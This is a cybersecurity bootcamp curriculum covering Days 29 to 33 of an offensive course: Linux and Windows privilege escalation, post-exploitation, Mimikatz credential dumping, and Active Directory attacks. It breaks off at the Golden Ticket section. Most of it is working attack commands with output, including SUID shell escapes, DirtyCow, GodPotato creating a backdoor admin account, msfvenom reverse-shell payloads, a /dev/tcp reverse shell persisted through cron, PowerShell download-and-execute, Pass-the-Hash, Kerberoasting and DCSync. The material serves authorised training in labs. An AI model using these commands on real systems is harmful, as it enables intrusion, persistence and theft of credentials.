Cybersecurity Bootcamp — Phase 3, Week 5

DAY	TOPIC	WHAT YOU'LL LEARN	KEY TOOLS
Day 29	Linux Privilege Escalation	8 privesc vectors: SUID binaries, sudo misconfigs, writable cron jobs, kernel exploits (DirtyCow), PATH hijacking, world-writable files, credential hunting in configs, NFS no_root_squash. GTFOBins methodology for every finding.	linpeas.sh, GTFOBins, searchsploit
Day 30	Windows Privilege Escalation	Token impersonation via Potato attacks (GodPotato, PrintSpoofer) — escalate service accounts to SYSTEM in seconds. Unquoted service paths, AlwaysInstallElevated MSI abuse, DLL hijacking concepts, winpeas enumeration workflow.	winpeas, GodPotato, PrintSpoofer
Day 31	Post-Exploitation I	Situational awareness commands (sysinfo, ipconfig, arp), internal network scanning through Meterpreter, persistence mechanisms (registry run keys, scheduled tasks, SSH authorized_keys, cron), pivoting via route add and SOCKS proxy to reach isolated network segments.	Meterpreter, proxychains, socks_proxy
Day 32	Mimikatz & Credential Harvesting	How Mimikatz reads LSASS memory. sekurlsa::logonpasswords to extract NTLM hashes and plaintext passwords. lsadump::sam for local accounts. Pass-the-Hash with CrackMapExec and Impacket — authenticate without cracking. Pass-the-Ticket with exported .kirbi files. kiwi module in Meterpreter.	mimikatz, CrackMapExec, Impacket
Day 33	Active Directory Attacks	Kerberos ticket system mapped to attack points. Kerberoasting: request TGS for any SPN → crack service account hash offline. AS-REP Roasting: no credentials needed against accounts without preauthentication. DCSync: mimic a DC to dump ALL domain hashes. Golden Ticket: forge permanent domain access using krbtgt hash. Silver Ticket for service-specific forgery.	GetUserSPNs.py, GetNPUsers.py, mimikatz, secretsdump
Day 34	Lateral Movement	Six lateral movement techniques compared (PSExec, WMI, WinRM, RDP, PtH, Pass-the-Ticket) with log signatures for each. Real command syntax for wmiexec, evil-winrm, xfreerdp with PtH, CrackMapExec credential spraying across subnets. Following BloodHound attack paths in practice — visualised end-to-end hop chain from helpdesk PC to Domain Admin.	evil-winrm, wmiexec, CrackMapExec, BloodHound
Day 35	Full Attack Chain + Capstone	MITRE ATT&CK mapping for every Week 5 technique (T1548, T1053, T1134, T1003, T1558, T1550, T1021). Complete week review table. Three lab tracks: TryHackMe AD rooms, HackTheBox retired AD machines (Active, Forest, Sauna), and building your own AD lab from scratch. Week 5 readiness checklist before Phase 3 Week 6.	TryHackMe, HackTheBox, all week tools

LINUX PRIVILEGE ESCALATION

THEORYLAB SUID · sudo Misconfigs · Cron · Kernel Exploits · PATH Hijacking

WEEK 5 PROGRESS — DAY 29 OF 35

🧗

You have a shell. Now escalate. Getting initial access as www-data or a low-privilege user is just the beginning. Privilege escalation (privesc) is the art of moving from limited access to root. On Linux, there are seven reliable categories of escalation vectors. A methodical attacker checks all of them. linpeas.sh automates this entire checklist in under 60 seconds.

// 29.1 — THE LINUX PRIVESC CHECKLIST

SUID Binaries

find / -perm -4000 -type f 2>/dev/null

Executables that run as their owner (often root) regardless of who runs them. If a SUID binary is in GTFOBins — instant root. Check every result.

sudo Misconfiguration

sudo -l

What can the current user run as root without a password? Even innocuous binaries (find, vim, python, awk) allow shell escape to root via GTFOBins.

Writable Cron Jobs

cat /etc/crontab
ls -la /etc/cron*

If a cron job runs as root and calls a script you can write to — modify the script. Root executes your code on the next run.

Kernel Exploits

uname -a
searchsploit linux kernel 4.4

Old kernels have public exploits that give root. DirtyCow (CVE-2016-5195) works on kernels <4.8.3. Check version, cross-reference CVEs.

PATH Hijacking

echo $PATH
find / -writable -type d 2>/dev/null

If a SUID binary calls another program by relative name (e.g., service), put a malicious binary earlier in PATH. SUID binary runs your version as root.

World-Writable Files

find / -writable -type f 2>/dev/null | grep -v proc

Scripts called by root-owned processes that anyone can write to. If /etc/passwd is writable — add a root user directly. Rare but catastrophic.

Credentials in Files

grep -r "password\|passwd\|secret" /var/www/ /etc/ 2>/dev/null

Config files, backup scripts, .bash_history — developers leave credentials everywhere. Often the quickest path: find the root password in a backup script.

NFS No Root Squash

cat /etc/exports
showmount -e target

NFS shares with no_root_squash allow a remote root user to access shares as root on the target. Mount the share, create a SUID binary, execute it on target.

// 29.2 — LINPEAS: AUTOMATED LINUX PRIVESC ENUMERATION

LINPEAS.SH — DEPLOYMENT AND OUTPUT

# Download linpeas on your Kali, serve it, download on target: kali$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh kali$ python3 -m http.server 8000 # Serve on port 8000 target$ curl http://192.168.56.100:8000/linpeas.sh | bash # Or if curl unavailable: target$ wget -qO- http://192.168.56.100:8000/linpeas.sh | bash # ── READING LINPEAS OUTPUT ────────────────────────────────── RED/YELLOW = 95% chance of privesc vector — investigate first RED = Interesting — worth investigating GREEN = Additional information # Typical high-value linpeas findings: ╔══════════╣ SUID - Check easy privesc, exploits and write perms -rwsr-xr-x 1 root root 30856 /usr/bin/find ← SUID find = root instantly ╔══════════╣ Sudo version Sudo version 1.8.21p2 ← CVE-2019-14287 if < 1.8.28 ╔══════════╣ Cron jobs */1 * * * * root /opt/scripts/cleanup.sh ← check if cleanup.sh is writable ╔══════════╣ Interesting Files /home/developer/.bash_history ← check for passwords in history ╔══════════╣ Passwords in config files /var/www/html/config.php: $db_pass = "sup3rs3cr3t" ← try this as root password!

// 29.3 — SUID EXPLOITATION VIA GTFOBINS

GTFOBins

gtfobins.github.io is your bible for SUID/sudo exploitation. It catalogs every Unix binary that can be abused to break out of restricted environments, escalate privileges, or exfiltrate data. For any SUID binary you find — check GTFOBins first before writing custom exploits.

SUID EXPLOITATION — REAL EXAMPLES FROM GTFOBINS

# ── SCENARIO: find has SUID bit set ────────────────────────── # find / -perm -4000 shows: -rwsr-xr-x root root /usr/bin/find $ find . -exec /bin/bash -p \; -quit bash-4.4# id uid=1000(user) gid=1000(user) euid=0(root) ← EFFECTIVE UID is root! bash-4.4# whoami root # ── SCENARIO: python3 has SUID bit ─────────────────────────── $ python3 -c 'import os; os.execl("/bin/bash","bash","-p")' bash-4.4# id → euid=0(root) # ── SCENARIO: vim has SUID bit ─────────────────────────────── $ vim -c ':!/bin/bash -p' # ── SCENARIO: sudo -l shows (root) NOPASSWD: /usr/bin/awk ─── $ sudo awk 'BEGIN {system("/bin/bash")}' root@machine# # Full root shell via GTFOBins awk technique # ── SCENARIO: sudo -l shows (root) NOPASSWD: /usr/bin/less ── $ sudo less /etc/profile # Inside less: press 'v' to open editor, then :!/bin/bash root@machine# # ── SCENARIO: Writable cron script ──────────────────────────── # /etc/crontab: * * * * * root /opt/backup.sh # ls -la /opt/backup.sh: -rwxrwxrwx (world writable!) $ echo 'chmod +s /bin/bash' >> /opt/backup.sh # Wait 60 seconds for cron to execute as root... $ ls -la /bin/bash -rwsr-xr-x root root /bin/bash ← SUID bit set by root's cron job $ /bin/bash -p bash-4.4# id → euid=0(root)

// 29.4 — DIRTYCOW: KERNEL EXPLOIT EXAMPLE

KERNEL EXPLOIT — CVE-2016-5195 (DirtyCow)

# Check kernel version first: $ uname -a Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP x86_64 GNU/Linux # Kernel 4.4.0-21 → vulnerable to DirtyCow (needs < 4.8.3) # Use local_exploit_suggester in Meterpreter to find applicable exploits: meterpreter> run post/multi/recon/local_exploit_suggester [+] exploit/linux/local/bpf_sign_extension_priv_esc: appears to be vulnerable [+] exploit/linux/local/dirty_cow: appears to be vulnerable [+] exploit/linux/local/su_login: appears to be vulnerable # Compile and run DirtyCow manually: target$ wget https://dirtycow.ninja/dirtyc0w.c target$ gcc -pthread dirtyc0w.c -o dirty -lcrypt target$ ./dirty password123 Backing up /usr/bin/passwd to /tmp/bak Please wait...(may take several minutes) /etc/passwd successfully backed up to /tmp/passwd New password: password123 Complete! You can log in with user 'firefart' and password 'password123'. target$ su firefart # firefart = root-equivalent user created by exploit root@target# # RESTORE after demo (critical in real pentest — always clean up): root@target# cp /tmp/passwd /etc/passwd

// DAY 29 — QUIZ

sudo -l shows: (root) NOPASSWD: /usr/bin/python3 /opt/monitor.py. The file /opt/monitor.py is owned by root and not writable. How do you escalate to root?

A Modify /opt/monitor.py to include a bash shell — you have write access because sudo grants it

. When sudo runs python3 /opt/monitor.py, Python finds YOUR subprocess.py first, executes it as root. Check what the script imports: cat /opt/monitor.py. Then create the hijack module in a writable directory that\'s on the Python path.')">B Check what modules monitor.py imports, create a malicious module with the same name in a writable directory Python searches first (library hijacking)

C Use a kernel exploit — the sudo restriction means you must go deeper

D Run sudo python3 /opt/monitor.py -c "import os;os.system('/bin/bash')" to pass code via arguments

// DAY 29 — LAB

LAB TASKS

On Metasploitable: get a shell via vsftpd. Upload and run linpeas.sh. Document every RED/YELLOW finding.
Find SUID binaries: find / -perm -4000 2>/dev/null. Look each up on gtfobins.github.io. Exploit at least one to get a root shell.
Run sudo -l. Can your user run anything as root? Check GTFOBins for each allowed binary.
Check /etc/crontab and /etc/cron.d/. Are any scripts writable? Demonstrate the write-to-script technique.
TryHackMe room: "Linux PrivEsc" — structured lab with 10+ escalation vectors to find and exploit.

WINDOWS PRIVILEGE ESCALATION

THEORYLAB Token Impersonation · Unquoted Paths · DLL Hijacking · AlwaysInstallElevated

WEEK 5 PROGRESS — DAY 30 OF 35

🪟

Windows privesc is a different beast. The Windows security model — tokens, ACLs, services, registry — creates a uniquely rich attack surface. The most reliable technique in modern engagements is token impersonation — if you have SeImpersonatePrivilege (which service accounts like IIS and SQL Server always have), you can become SYSTEM in seconds.

// 30.1 — WINPEAS: AUTOMATED WINDOWS ENUMERATION

WINPEAS — WINDOWS PRIVILEGE ESCALATION AWESOME SCRIPTS

# Download to target via Meterpreter upload or PowerShell: meterpreter> upload /opt/winpeas.exe C:\\Windows\\Temp\\wp.exe meterpreter> shell C:\> C:\Windows\Temp\wp.exe # Or download from target (if internet access): C:\> powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.100:8000/winpeas.ps1')" # Key findings winpeas checks: Token Privileges: SeImpersonatePrivilege (Enabled) ← use PrintSpoofer/GodPotato Unquoted Service Path: C:\Program Files\My App\service.exe AlwaysInstallElevated: HKLM = 1, HKCU = 1 ← MSI install = SYSTEM Stored Credentials: cmdkey /list shows entries DLL Hijacking opportunity in service PATH

// 30.2 — TOKEN IMPERSONATION (THE MOST RELIABLE TECHNIQUE)

HOW TOKEN IMPERSONATION WORKS

Windows access tokens represent the security context of a process. Service accounts (IIS, MSSQL, network services) are granted SeImpersonatePrivilege — they can impersonate any user who connects to them. Potato attacks exploit this: create a fake COM server that SYSTEM connects to, then impersonate SYSTEM.

TOKEN IMPERSONATION — PRINTSPOOFER & GODPOTATO

# First — check if we have the privilege: C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================= ======== SeImpersonatePrivilege Impersonate a client Enabled ← EXPLOITABLE # PrintSpoofer (Windows 10/Server 2019+): C:\> PrintSpoofer.exe -i -c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.17763.1577] C:\Windows\system32> whoami nt authority\system ← SYSTEM in 3 seconds # GodPotato (works on Windows 2012-2022, all versions): C:\> GodPotato.exe -cmd "cmd /c whoami" nt authority\system # Add a backdoor admin account as SYSTEM: C:\> GodPotato.exe -cmd "cmd /c net user backdoor P@ssw0rd123! /add && net localgroup administrators backdoor /add" [+] Command: cmd /c net user backdoor P@ssw0rd123! /add [+] CreateProcessAsUser OK The command completed successfully. ← admin account created

// 30.3 — UNQUOTED SERVICE PATHS

UNQUOTED SERVICE PATH EXPLOITATION

# Windows resolves unquoted paths with spaces by trying each segment: # Service: C:\Program Files\My Application\service.exe # Windows tries these IN ORDER: # 1. C:\Program.exe # 2. C:\Program Files\My.exe ← if this exists, IT runs as SYSTEM! # 3. C:\Program Files\My Application\service.exe # Find unquoted service paths: C:\> wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "c:\windows" | findstr /iv """ Vulnerable Service C:\Program Files\My Application\bin\service.exe Auto # Check write permissions on the path: C:\> icacls "C:\Program Files\My Application\" BUILTIN\Users:(W) ← Users can write here! # Generate malicious executable: kali$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f exe -o My.exe # Upload to target path and restart service: C:\> copy My.exe "C:\Program Files\My.exe" C:\> sc stop "Vulnerable Service" && sc start "Vulnerable Service" # Service starts → Windows finds My.exe first → your shell runs as SYSTEM

// 30.4 — ALWAYSINSTALLELEVATED

ALWAYSINSTALLELEVATED — MSI FILES AS SYSTEM

# Check if both registry keys are set to 1 (both required): C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated AlwaysInstallElevated REG_DWORD 0x1 C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated AlwaysInstallElevated REG_DWORD 0x1 # Generate malicious MSI installer: kali$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f msi -o evil.msi # Install on target (runs as SYSTEM due to policy): C:\> msiexec /quiet /qn /i C:\Temp\evil.msi # Shell received as: nt authority\system

// DAY 30 — QUIZ

You have a shell as IIS APPPOOL\DefaultAppPool on a Windows Server 2019 web server. whoami /priv shows SeImpersonatePrivilege: Enabled. You upload GodPotato.exe but Windows Defender flags and deletes it. What is your next approach?

A Give up — Windows Defender means privilege escalation isn\'t possible

B Try other Potato variants (PrintSpoofer, SweetPotato), use Meterpreter\'s incognito module for in-memory token manipulation, or try PowerShell-based approaches

C Disable Windows Defender first using a registry key, then run GodPotato

D Switch immediately to a kernel exploit — token impersonation is blocked

POST-EXPLOITATION I

TOOLLAB Meterpreter Commands · Hashdump · Persistence · Pivoting Concepts

WEEK 5 PROGRESS — DAY 31 OF 35

🕳️

Root is not the end goal — intelligence and persistence are. Professional red teamers don't just escalate and screenshot. They enumerate the internal network, harvest credentials, establish persistence, and map paths to the highest-value targets (Domain Controller, financial systems, source code). This is where you transition from "hacker" to "threat actor simulation."

// 31.1 — POST-EXPLOITATION OBJECTIVES

OBJECTIVE	WHY IT MATTERS	TOOL/TECHNIQUE
Situational Awareness	Where are you? What network? Who else is here? What's connected?	sysinfo, ipconfig, arp, route print, netstat
Credential Harvesting	Every credential found enables lateral movement or escalation	hashdump, Mimikatz, LaZagne, browser credential dumpers
Persistence	Survive reboots — clients patch fast after incidents	Registry run keys, scheduled tasks, service installation, startup folder
Internal Recon	Enumerate the internal network that was invisible from outside	arp_scanner, port_scan, ping sweep
Data Exfiltration Proof	Demonstrate business impact — what data could an attacker take?	download sensitive files, database dumps
Pivoting Setup	Use compromised host as gateway to reach isolated network segments	route add, socks proxy, port forwarding

// 31.2 — SITUATIONAL AWARENESS COMMANDS

POST-EXPLOITATION — INTERNAL RECON

# ── METERPRETER BUILT-INS ──────────────────────────────────── meterpreter> sysinfo Computer : WIN-DC01 OS : Windows 2019 (10.0 Build 17763) Domain : CORP.LOCAL ← you're on the domain controller! meterpreter> ipconfig Interface 1: Ethernet IP Address : 10.10.10.5 Subnet Mask : 255.255.255.0 Interface 2: Ethernet (Internal) IP Address : 192.168.100.5 ← second network interface → pivot target meterpreter> arp IP Address MAC Address Interface 10.10.10.1 00:50:56:e5:aa:11 Ethernet 10.10.10.20 00:50:56:b3:cc:22 Ethernet ← another host on the network 10.10.10.50 00:50:56:a1:dd:33 Ethernet # ── INTERNAL PORT SCAN FROM METERPRETER ────────────────────── meterpreter> run post/multi/gather/ping_sweep RHOSTS=10.10.10.0/24 [+] 10.10.10.1 host found [+] 10.10.10.5 host found [+] 10.10.10.20 host found [+] 10.10.10.50 host found meterpreter> run post/multi/gather/port_scan RHOSTS=10.10.10.20 PORTS=22,80,445,3389,1433 [+] 10.10.10.20:445 is open ← SMB — probably another Windows machine [+] 10.10.10.20:3389 is open ← RDP — can we RDP with harvested creds? [+] 10.10.10.20:1433 is open ← MSSQL — database server

// 31.3 — PERSISTENCE MECHANISMS

PERSISTENCE — SURVIVING REBOOTS

# ── WINDOWS: Registry Run Key (most common) ─────────────────── C:\> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f # Runs shell.exe as current user on every login # Use HKLM for system-wide (requires admin) # ── WINDOWS: Scheduled Task ─────────────────────────────────── C:\> schtasks /create /sc onlogon /tn "WindowsDefenderUpdate" /tr "C:\Windows\Temp\shell.exe" /ru SYSTEM /f # Runs as SYSTEM on every login — stealthier than run keys # ── LINUX: Crontab persistence ──────────────────────────────── root# echo "* * * * * /tmp/.hidden_shell" >> /etc/crontab root# echo "bash -i >& /dev/tcp/192.168.56.100/4444 0>&1" > /tmp/.hidden_shell root# chmod +x /tmp/.hidden_shell # Reverse shell reconnects every minute even after reboot # ── LINUX: SSH authorized_keys (most stable persistence) ───── root# echo "ssh-rsa AAAA[your_public_key]" >> /root/.ssh/authorized_keys # SSH in directly any time: ssh -i your_private_key root@target # Survives reboots, doesn't create noisy connections # ── METERPRETER: persistence module ───────────────────────── meterpreter> run post/windows/manage/persistence_exe STARTUP=SCHEDULER SCHEDULE_TYPE=ONLOGON LOCALEXEPATH=C:\\Windows\\Temp\\shell.exe [+] Scheduled task created: WindowsUpdate

// 31.4 — PIVOTING: REACHING ISOLATED NETWORKS

PIVOTING CONCEPT

Your Kali machine can't reach 192.168.100.0/24 directly. But the compromised Windows machine has an interface on both 10.10.10.0/24 (where you are) AND 192.168.100.0/24 (the internal segment). You use the compromised host as a proxy — routing your traffic through it to reach previously unreachable targets.

PIVOTING VIA METERPRETER ROUTE

# Add a route through the Meterpreter session to reach the internal network: msf6> route add 192.168.100.0/24 1 # session 1 is our meterpreter [*] Route added # Now scan through the pivot: msf6> use auxiliary/scanner/portscan/tcp msf6> set RHOSTS 192.168.100.0/24 msf6> set PORTS 22,80,443,445,3389 msf6> run [+] 192.168.100.10:445 - TCP OPEN ← reachable through pivot! [+] 192.168.100.10:3389 - TCP OPEN # SOCKS proxy pivot — route ALL tools through pivot (nmap, Burp, browser): msf6> use auxiliary/server/socks_proxy msf6> set SRVPORT 1080 msf6> run -j # Configure proxychains to use 127.0.0.1:1080 # Then: proxychains nmap 192.168.100.10 # Or: proxychains firefox (browse internal web apps)

// DAY 31 — QUIZ

After compromising a web server, ipconfig reveals two network interfaces: 10.0.0.5 (DMZ — where you came from) and 172.16.0.5 (internal corporate network — unreachable from your Kali). What is the correct Metasploit command sequence to scan the internal 172.16.0.0/24 network through your Meterpreter session (session ID 1)?

A Run nmap -sV 172.16.0.0/24 from Kali — the route is automatic once you have a session

B sessions -i 1 then run ipconfig in the session to scan from the compromised host

C Background the session, run route add 172.16.0.0/24 1, then use MSF scanner modules with RHOSTS set to the internal range

D Use portfwd add -l 8080 -p 80 -r 172.16.0.5 to forward each host individually

MIMIKATZ & CREDENTIAL HARVESTING

TOOLLAB sekurlsa · LSASS · Pass-the-Hash · Pass-the-Ticket · Credential Hunting

WEEK 5 PROGRESS — DAY 32 OF 35

💎

Mimikatz changed everything. In 2011, Benjamin Delpy released a tool that could extract Windows plaintext passwords, NTLM hashes, and Kerberos tickets directly from LSASS (Local Security Authority Subsystem Service) memory. Windows was storing credentials in a reversible form for convenience — Mimikatz made that catastrophic. Even after Microsoft's WDigest mitigations, Mimikatz remains the most powerful credential harvesting tool in existence.

// 32.1 — HOW MIMIKATZ WORKS

LSASS MEMORY READING

LSASS (lsass.exe) is a critical Windows process that manages authentication. It keeps credentials in memory to enable Single Sign-On. Mimikatz reads LSASS memory to extract these credentials. Requires SYSTEM or SeDebugPrivilege — which you get after privilege escalation.

MIMIKATZ — COMPLETE CREDENTIAL EXTRACTION

# Launch Mimikatz (on compromised Windows machine as SYSTEM): C:\> mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ## \ / ## '## v ##' '#####' # ── Enable debug privilege (required) ──────────────────────── mimikatz # privilege::debug Privilege '20' OK # ── Extract ALL credentials from LSASS ────────────────────── mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 287634 (00000000:00046512) Session : Interactive from 1 User Name : Administrator Domain : CORP Logon Server : WIN-DC01 msv : [00000003] Primary * Username : Administrator * Domain : CORP * NTLM : 8846f7eaee8fb117ad06bdd830b7586c wdigest : * Username : Administrator * Domain : CORP * Password : SuperSecret2024! ← PLAINTEXT! (WDigest enabled) kerberos : * Username : Administrator * Domain : CORP.LOCAL * Password : SuperSecret2024! # ── Dump local SAM database (local accounts) ───────────────── mimikatz # token::elevate # Elevate to SYSTEM token mimikatz # lsadump::sam RID : 000001f4 (500) User : Administrator Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c # ── Extract Kerberos tickets from memory ───────────────────── mimikatz # sekurlsa::tickets /export [00000000] - 0x00000012 - aes256_hmac Start/End/MaxRenew: ... Service Name: krbtgt/CORP.LOCAL → Saved to: [0;3e7]-2-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi # .kirbi file = full Kerberos ticket → use for Pass-the-Ticket attack # ── Via Meterpreter (no binary needed) ─────────────────────── meterpreter> load kiwi # kiwi = Mimikatz integrated into Meterpreter meterpreter> creds_all # Equivalent to sekurlsa::logonpasswords meterpreter> lsa_dump_sam

// 32.2 — PASS-THE-HASH (PTH)

AUTHENTICATING WITHOUT CRACKING

Windows NTLM authentication doesn't require the cleartext password — it requires the hash. If you have an NTLM hash from Mimikatz, you can authenticate as that user without cracking it. This is Pass-the-Hash — one of the most impactful lateral movement techniques in Windows environments.

PASS-THE-HASH — LATERAL MOVEMENT WITHOUT CRACKING

# You have: Administrator NTLM hash = 8846f7eaee8fb117ad06bdd830b7586c # Target machine: 10.10.10.20 (running SMB, same local admin password) # ── PtH with CrackMapExec (fastest) ───────────────────────── kali$ crackmapexec smb 10.10.10.20 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c SMB 10.10.10.20 445 WIN-WS01 [+] CORP\Administrator:8846f7eaee8fb117ad06bdd830b7586c (Pwn3d!) # Execute command via PtH: kali$ crackmapexec smb 10.10.10.20 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c -x "whoami" corp\administrator # Spray hash across entire subnet (find all machines with same password): kali$ crackmapexec smb 10.10.10.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c [+] 10.10.10.5 (Pwn3d!) ← admin on DC! [+] 10.10.10.20 (Pwn3d!) ← admin on workstation [+] 10.10.10.50 (Pwn3d!) ← same local admin password on 3 machines # ── PtH with Impacket psexec (full shell) ──────────────────── kali$ impacket-psexec -hashes :8846f7eaee8fb117ad06bdd830b7586c Administrator@10.10.10.20 Microsoft Windows [Version 10.0.17763.1577] C:\Windows\system32> whoami nt authority\system # ── PtH in Mimikatz (inject token on current machine) ──────── mimikatz # sekurlsa::pth /user:Administrator /domain:CORP.LOCAL /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe # Opens a new cmd.exe with that user's credentials injected

// DAY 32 — QUIZ

Mimikatz sekurlsa::logonpasswords shows Administrator's NTLM hash but the wdigest password field shows (null). What does this mean and does it stop your attack?

A The NTLM hash is also null — the account has no password

B WDigest is disabled so the account cannot be attacked at all

C WDigest is disabled (good security practice) — cleartext passwords aren\'t stored. But the NTLM hash is still present and fully usable for Pass-the-Hash without needing plaintext

D Run mimikatz again immediately after a user logs in — WDigest appears temporarily

ACTIVE DIRECTORY ATTACKS

THEORYLAB Kerberoasting · AS-REP Roasting · DCSync · Golden Ticket · Silver Ticket

WEEK 5 PROGRESS — DAY 33 OF 35

🏰

Active Directory attacks are the crown jewels of offensive security. Kerberoasting and DCSync are used in virtually every real-world domain compromise. They exploit fundamental design decisions in the Kerberos protocol and AD replication — not implementation bugs. Understanding them makes you both a better attacker and a far better defender.

// 33.1 — KERBEROS REFRESHER: THE TICKET SYSTEM

// KERBEROS AUTHENTICATION FLOW — AND WHERE ATTACKS LIVE

CLIENT DOMAIN CONTROLLER (KDC) SERVICE (SQL Server) User logs in │ AS-REQ (username) ──────────────────────► │ │ ◄────────────────────────────────── AS-REP │ │ TGT encrypted with krbtgt hash │ ← AS-REP Roasting: no preauth → hash offline crackable │ │ TGS-REQ (TGT + SPN) ──────────────────────► │ │ ◄──────────────────────────────── TGS-REP │ │ Service Ticket (TGS) encrypted with │ ← Kerberoasting: TGS encrypted with service account hash │ service account's NTLM hash │ → request TGS for any SPN → crack offline │ │ AP-REQ (TGS ticket) ─────────────────────────────────────────────► │ │ │ Decrypts with own hash │ ◄───────────────────────────────────────────────────── AP-REP (OK) │ │ Access granted Golden Ticket: forge TGT using krbtgt hash → unlimited access to anything, any time Silver Ticket: forge TGS using service account hash → access specific service without touching DC

// 33.2 — KERBEROASTING

OFFLINE CRACKING OF SERVICE ACCOUNT PASSWORDS

Any authenticated domain user can request a Kerberos service ticket (TGS) for any SPN (Service Principal Name) — this is by design. The TGS is encrypted with the service account's NTLM hash. You take it offline and crack it. Service accounts often have weak passwords and high privileges (SQL service accounts, backup agents, etc.).

KERBEROASTING — FULL ATTACK CHAIN

# ── Step 1: Find Kerberoastable accounts (have SPNs set) ───── kali$ impacket-GetUserSPNs -dc-ip 10.10.10.5 CORP.LOCAL/john.smith:Password123 -outputfile kerberoast.txt ServicePrincipalName Name MemberOf PasswordLastSet ---------------------------- --------- ------------------------ --------------- MSSQLSvc/sql01.corp.local:1433 svc-sql CORP\DB-Admins 2021-03-12 ← weak pw likely HTTP/sharepoint.corp.local svc-sp CORP\SharePoint-Admins 2019-08-01 ← very old! # ── Step 2: Request TGS hashes ─────────────────────────────── $krb5tgs$23$*svc-sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a4f3b2... $krb5tgs$23$*svc-sp$CORP.LOCAL$HTTP/sharepoint.corp.local*$c8d1e4... # Hashes are TGS-REP (etype 23 = RC4) — crackable with hashcat mode 13100 # ── Step 3: Crack offline ───────────────────────────────────── kali$ hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r OneRuleToRuleThemAll.rule $krb5tgs$23$*svc-sql$...:SqlServer2019! ← svc-sql password found! $krb5tgs$23$*svc-sp$...:Sharepoint1 ← svc-sp password found! # ── Step 4: Use the cracked credentials ────────────────────── kali$ crackmapexec smb 10.10.10.0/24 -u svc-sql -p 'SqlServer2019!' [+] 10.10.10.5 CORP\svc-sql:SqlServer2019! (Pwn3d!) ← svc-sql is admin on DC! # ── BloodHound to find Kerberoastable accounts ─────────────── # Pre-built query: "List all Kerberoastable Accounts" # Prioritize those with "MemberOf" pointing to admin groups!

// 33.3 — AS-REP ROASTING

AS-REP ROASTING — NO CREDENTIALS REQUIRED

# AS-REP Roasting: accounts with "Don't require Kerberos preauthentication" enabled # You can request their AS-REP hash WITHOUT valid credentials — offline crackable # Find AS-REP roastable accounts: kali$ impacket-GetNPUsers CORP.LOCAL/ -dc-ip 10.10.10.5 -no-pass -usersfile users.txt $krb5asrep$23$john.smith@CORP.LOCAL:8e4f2b3c1a... ← no credentials needed! # Crack the AS-REP hash: kali$ hashcat -m 18200 asrep_hash.txt rockyou.txt $krb5asrep$23$john.smith...:Winter2024!

// 33.4 — DCSYNC: MIMICKING A DOMAIN CONTROLLER

THE ULTIMATE AD ATTACK

Domain Controllers replicate with each other using MS-DRSR protocol. DCSync mimics a DC requesting replication — it dumps ALL password hashes in the domain without touching disk or running code on the DC. Requires Replicating Directory Changes rights (Domain Admins, NTDS.DIT sync accounts, or misassigned replication rights in BloodHound).

DCSYNC — DUMP ENTIRE DOMAIN HASH DATABASE

# Via Mimikatz (on compromised machine with DA rights): mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt Object RDN : krbtgt Credentials: Hash NTLM: 9e4a2b1f6d3c8a7b... ← krbtgt hash = Golden Ticket material mimikatz # lsadump::dcsync /domain:CORP.LOCAL /all /csv Administrator 500 8846f7eaee8fb117ad06bdd830b7586c 512 krbtgt 502 9e4a2b1f6d3c8a7b4e5d2a1c3f8b6e9d 514 john.smith 1104 3d4f8e2b1a7c9f5d2e8b3a4c6f9d1e7b 512 jane.doe 1105 7b2e9f4d1c6a8e3b5f7d2a9c4e1b8f3d 512 # Every domain account hash — entire AD in seconds # Via Impacket (from Kali — no code on DC required): kali$ impacket-secretsdump -just-dc CORP.LOCAL/Administrator:SuperSecret2024!@10.10.10.5 CORP.LOCAL\Administrator:500:aad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c::: CORP.LOCAL\krbtgt:502:aad3b435b51404ee:9e4a2b1f6d3c8a7b::: CORP.LOCAL\john.smith:1104:aad3b435b51404ee:3d4f8e2b1a7c9f5d::: # Crack offline or use Pass-the-Hash on all of them

// 33.5 — GOLDEN TICKET: FORGING DOMAIN ADMIN FOREVER

GOLDEN TICKET — THE ULTIMATE PERSISTENCE

